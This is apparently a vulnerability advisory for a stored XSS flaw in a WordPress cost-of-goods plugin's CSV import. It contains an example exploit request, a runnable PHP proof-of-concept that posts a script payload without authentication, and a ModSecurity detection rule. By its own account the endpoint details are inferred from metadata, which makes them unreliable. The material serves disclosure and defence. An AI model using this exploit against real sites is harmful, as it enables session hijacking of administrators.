Atomic Edge analysis of CVE-2026-7613 (metadata-based):
This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Cost of Goods by PixelYourSite plugin for WordPress, versions up to and including 1.2.12. The flaw exists in the CSV import functionality for product cost-of-goods values. An attacker can inject arbitrary JavaScript via the ‘csvdata[0][cost_of_goods_value]’ parameter. The CVSS score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates network exploitation with low complexity, no authentication required, and changed scope (impact on other web resources).
Root Cause: The root cause is insufficient input sanitization and output escaping on the ‘csvdata[0][cost_of_goods_value]’ parameter during CSV import. The CWE-79 classification confirms this is a stored XSS vulnerability. Atomic Edge analysis infers that the plugin passes the cost-of-goods value from the imported CSV into the database without using WordPress sanitization functions like ‘sanitize_text_field’ or ‘wp_kses’. Similarly, when displaying the value in admin or front-end pages, the plugin likely does not use ‘esc_html’ or ‘wp_kses_post’. Because no code diff is available, these inferences are based on the CWE, description, and common WordPress plugin patterns for import handling.
Exploitation: An unauthenticated attacker can send a POST request to ‘/wp-admin/admin-ajax.php’ with the action parameter set to the plugin’s AJAX handler for CSV import. The attack injects a malicious payload into the ‘csvdata[0][cost_of_goods_value]’ parameter. A typical payload would be: alert(‘XSS’) or a more sophisticated script that steals cookies or performs actions on behalf of admin users. Example request: POST /wp-admin/admin-ajax.php?action=pixel_cost_of_goods_import&nonce=attacker_generated_or_missing with POST body: csvdata[0][cost_of_goods_value]=alert(document.cookie)&csvdata[0][product_id]=123. Atomic Edge analysis notes the vulnerability likely bypasses nonce and capability checks, or the import endpoint is publicly accessible.
Remediation: The fix, as implemented in version 1.2.13, should apply proper input sanitization and output escaping. The plugin should sanitize the ‘cost_of_goods_value’ parameter using ‘sanitize_text_field’ or ‘sanitize_post_meta’ before storing it in the database. When rendering the value in any context, the plugin must use ‘esc_html’ for HTML context or ‘wp_kses_post’ if a limited set of HTML is allowed. Additionally, the import endpoint should enforce capabilities (e.g., ‘manage_options’) and verify a valid nonce to prevent unauthenticated access.
Impact: Successful exploitation allows unauthenticated attackers to inject and execute arbitrary JavaScript in the context of any user who views pages displaying product cost-of-goods data. This includes administrators, leading to session hijacking, redirection to malicious sites, or forced administrative actions (e.g., creating new admin accounts). The changed scope in the CVSS vector indicates the attack can affect resources beyond the vulnerable application, making it a cross-site scripting vulnerability with potential for broader impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7613 (metadata-based)
# Blocks unauthenticated stored XSS via the cost of goods CSV import endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20267613,phase:2,deny,status:403,chain,msg:'CVE-2026-7613 - Cost of Goods PixelYourSite Unauthenticated Stored XSS via import',severity:'CRITICAL',tag:'CVE-2026-7613'"
SecRule ARGS_POST:action "@streq pixel_cost_of_goods_import"
"chain"
SecRule ARGS_POST:csvdata "@rx <script[^>]*>|javascript:|onerror=|onload=|onclick="
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7613 - Cost of Goods by PixelYourSite <= 1.2.12 - Unauthenticated Stored XSS via Cost of Goods Import
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site
// Step 1: Prepare malicious payload (stored XSS)
$payload = '<script>alert("Atomic Edge PoC - XSS");</script>';
// Step 2: Build the AJAX request to import CSV data
$import_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'pixel_cost_of_goods_import', // Inferred AJAX action based on plugin slug
// Note: Nonce may be missing or predictable, as per vulnerability description
'csvdata' => array(
0 => array(
'product_id' => '1', // Example product ID
'cost_of_goods_value' => $payload // Malicious XSS payload
)
)
);
// Step 3: Send the request (unauthenticated)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $import_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Atomic Edge PoC'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Output results
echo "[Atomic Edge PoC] Sent XSS payload via CSV import to {$import_url}n";
echo "[Atomic Edge PoC] HTTP response code: {$http_code}n";
echo "[Atomic Edge PoC] Response: {$response}n";
echo "[Atomic Edge PoC] If the request succeeded, the XSS payload will execute when an admin views the product's cost-of-goods field.n";
// Note: This PoC assumes the endpoint is accessible without authentication.
// If the plugin requires a nonce, the attacker would need to extract one from a public page or bypass it.
?>
